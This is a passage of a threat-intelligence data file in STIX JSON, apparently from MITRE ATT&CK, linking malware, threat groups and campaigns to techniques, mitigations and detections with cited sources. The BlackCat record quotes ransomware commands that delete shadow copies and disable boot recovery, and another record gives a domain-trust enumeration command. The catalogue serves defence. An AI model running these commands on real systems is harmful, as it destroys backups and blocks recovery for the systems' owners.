2014)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc0433bf-560f-4b5f-879c-f87581d7f504","type":"relationship","created":"2020-03-16T15:17:43.158Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Feb 2014","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019."},{"source_name":"ESET Ebury Oct 2017","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}],"modified":"2021-02-10T18:41:29.384Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has used a DGA to generate a domain name for C2.(Citation: ESET Ebury Feb 2014)(Citation: ESET Ebury Oct 2017)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc0b1fb2-f987-4d9c-8470-c40c517925d9","type":"relationship","created":"2021-04-27T03:33:35.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-04-27T03:33:35.204Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has deleted batch files after execution. (Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc0baea6-7e98-4cc3-9462-7eee9564cad0","created":"2022-04-12T17:58:20.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.417Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used tools such as the MailFetch mail crawler to collect victim emails (excluding spam) from online services via IMAP.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc0fdebd-df94-4e56-a7d8-5f40dc7a777d","created":"2024-09-19T14:00:04.148Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:00:04.148Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc123d2e-3cd6-4d14-929c-8eb9c9a7cdd2","type":"relationship","created":"2020-10-01T01:18:35.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:18:35.632Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","target_ref":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc193a2e-65ef-483d-908e-482e05340c41","type":"relationship","created":"2021-10-15T19:57:15.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"eSentire FIN7 July 2021","url":"https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc","description":"eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels’ Owner, Brown-Forman Inc.. Retrieved September 20, 2021."}],"modified":"2021-10-15T19:57:15.151Z","description":"[JSS Loader](https://attack.mitre.org/software/S0648) has been executed through malicious attachments contained in spearphishing emails.(Citation: eSentire FIN7 July 2021)","relationship_type":"uses","source_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc19dd7e-415d-4e27-92bd-262392b6d38f","created":"2020-05-12T18:25:44.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.668Z","description":"(Citation: CrowdStrike Grim Spider May 2019)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc268488-a74d-4100-917f-be04cc81826b","created":"2022-09-26T15:28:47.090Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T15:28:47.090Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can identify files with .doc, .docx, .ppt, .pptx, .xls, .xlsx, and .pdf extensions and specific timestamps for collection.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc26d209-c7fb-4d59-82da-0be7c72c651d","type":"relationship","created":"2020-01-14T01:27:31.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T01:27:31.402Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc2c7ee8-31f1-49f6-afd5-69443db69ab7","created":"2023-04-15T01:03:29.477Z","revoked":false,"external_references":[{"source_name":"AADInternals Documentation","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022.","url":"https://o365blog.com/aadinternals"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T01:03:29.477Z","description":"[AADInternals](https://attack.mitre.org/software/S0677) can directly download cloud user data such as OneDrive files.(Citation: AADInternals Documentation)","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc2f3e79-2740-4113-9875-4193b532d73e","created":"2024-03-28T16:16:48.196Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T16:16:48.196Z","description":"Perform regular software updates to mitigate exploitation risk.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a","type":"relationship","created":"2017-05-31T21:33:27.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/05/the-pla-and-the-800am-500pm-work-day-fireeye-confirms-dojs-findings-on-apt1-intrusion-activity.html","description":"FireEye Labs. (2014, May 20). The PLA and the 8:00am-5:00pm Work Day: FireEye Confirms DOJ’s Findings on APT1 Intrusion Activity. Retrieved November 4, 2014.","source_name":"FireEye PLA"}],"modified":"2019-08-20T13:08:13.163Z","description":"The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used RDP during operations.(Citation: FireEye PLA)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc31837d-530f-45e5-b9f8-bf6268c3ef03","created":"2019-07-17T15:45:37.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AdSecurity DCSync Sept 2015","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","url":"https://adsecurity.org/?p=1729"},{"source_name":"Microsoft Protected Users Security Group","description":"Microsoft. (2016, October 12). Protected Users Security Group. Retrieved May 29, 2020.","url":"https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group"},{"source_name":"Microsoft Replication ACL","description":"Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.","url":"https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T13:29:50.602Z","description":"\nManage the access control list for “Replicating Directory Changes All” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL) Consider adding users to the \"Protected Users\" Active Directory security group. This can help limit the caching of users' plaintext credentials.(Citation: Microsoft Protected Users Security Group)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc3d0026-20b2-4d38-b276-64d7290c1994","created":"2022-09-29T19:18:29.636Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:18:29.636Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc3e0e8c-d6d3-4f2d-8374-86b7902079a9","created":"2023-03-02T18:53:23.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T21:29:45.970Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can delete shadow copies using `vssadmin.exe delete shadows /all /quiet` and `wmic.exe Shadowcopy Delete`; it can also modify the boot loader using `bcdedit /set {default} recoveryenabled No`.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc3ec682-31cc-4e74-8d04-a5fdef9e8410","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-20T02:23:54.389Z","description":"[HOMEFRY](https://attack.mitre.org/software/S0232) uses a command-line interface.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc43ba07-ffa2-4617-95ac-7ff6462eccd0","type":"relationship","created":"2021-01-28T15:35:54.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.194Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to identify the user of a compromised host.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2019-07-26T23:07:21.327Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the execFile function to execute a specified file on the system using the NSTask:launch method.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc4c0c44-2e94-47c1-9174-fcf0fa1a80b4","type":"relationship","created":"2020-06-11T16:18:16.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.406Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to identify the host volume ID and the OS architecture on a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc4ca529-9881-47bd-a738-d4aef1482518","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.129Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc4e9563-4c5d-4b99-98ae-49b4ed93caf4","created":"2024-04-17T15:25:44.431Z","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:25:44.431Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) leveraged Group Policy Objects (GPOs) to deploy and execute malware.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc52b3a9-96b2-4595-bedf-54289a42117a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.331Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) gathers the victim username.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc56bf57-2188-4177-b0a3-e89bb8478523","created":"2023-03-26T16:05:31.718Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:05:31.718Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc56f0e8-e059-403a-88e4-bd0b61bbc4b7","type":"relationship","created":"2019-02-12T19:56:02.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2020-03-20T21:31:36.067Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can obtain a webpage hosted on Pastebin to update its C2 domain list.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc572a1d-a44d-4588-b31d-1c54116d12f4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.652Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) adds a .lnk file to the Windows startup folder.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc57736f-1142-4385-82a1-8baf6b6eedc6","created":"2024-08-27T21:08:37.911Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T21:08:37.911Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) hooked the Catalina application filter 